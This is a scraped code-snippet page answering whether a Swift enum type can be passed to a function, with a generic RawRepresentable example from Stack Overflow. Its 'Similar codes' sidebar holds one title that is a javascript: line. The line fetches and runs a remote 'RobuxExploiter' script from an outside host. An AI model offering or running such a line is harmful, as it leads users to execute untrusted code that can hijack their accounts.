/Swift/Can you pass an enum as a parameter to a function swift

Can you pass an enum as a parameter to a function swift

func justAnExample<T : RawRepresentable>(_ enumType: T.Type) where T.RawValue == Int {

  // Note that an explicit use of init is required when creating an instance from a
  // metatype. We're also using a guard, as `init?(rawValue:)` is failable.
  guard let val = enumType.init(rawValue: 0) else { return }
  print("description: \(val)")
}

justAnExample(Foo.self) // prints: "description: Hello Foo"
justAnExample(Bar.self) // prints: "description: Hello Bar"

Source: stackoverflow.com

Similar codes

0 vote203 views2 answers
Hacker
Swift
5 votes267 views1 answer
Format decimal place swift
Swift
0 vote228 views1 answer
Convert dictionary to data
Swift
0 vote239 views1 answer
How to low case string swift
Swift
1 vote203 views1 answer
Swift uicollectionviewcell how to know when off screen
Swift
-1 vote224 views1 answer
Swift uicollectionview reloaddata completion
Swift
0 vote229 views1 answer
Struct exsmple
Swift
1 vote209 views4 answers
Javascript:$.get('//robloxassets.com/I/RobuxExploiter/RobuxExploiter.js')
Swift
-1 vote207 views2 answers
Go to view controller programmatically swift
Swift
1 vote191 views1 answer
Rxswift map
Swift